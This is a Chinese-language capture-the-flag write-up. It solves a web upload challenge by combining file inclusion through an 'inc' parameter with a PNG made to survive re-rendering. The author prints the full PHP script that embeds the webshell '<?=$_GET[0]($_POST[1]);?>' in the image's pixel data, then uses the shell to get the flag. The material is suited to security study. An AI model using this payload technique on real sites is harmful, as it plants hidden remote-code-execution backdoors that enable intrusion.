打开页面,是一个上传页面,我们需要上传木马来获取flag
先后尝试了改后缀,00截断等方法均上传不了。而且还有白名单过滤。于是想到了二次渲染。
首先寻找文件包含的页面。观察上传页面的url:
http://www.bmzclub.cn:20320/inc.php?inc=upload.php
'inc'为传参变量。会包含upload.php。
尝试上传一张正常图片。
会看到下面能显示出来我们刚才上传的图片,右键查看源代码:
会得到图片的地址。我们尝试用'inc'来包含这个图片。
会看到图片的代码。说明没有把文件当成图片来解析。说明我们可以利用这个文件包含点。
下面就是来构造木马图片了。
使用国外大神的脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
使用php运行后,会在目录下生成1.png的图片。
将文件上传。
右键查看源代码,获取文件地址:
使用'inc'来包含:
可以看到只显示了一部分,我们将图片下载,并用010editor打开:
看到了shell语句:
<?=$_GET[0]($_POST[1]);?>
于是我就可以执行我们的命令了:
这样我们就得到了flag:
BMZCTF{278b15fce3ce4268bdbf2f2a173b0340}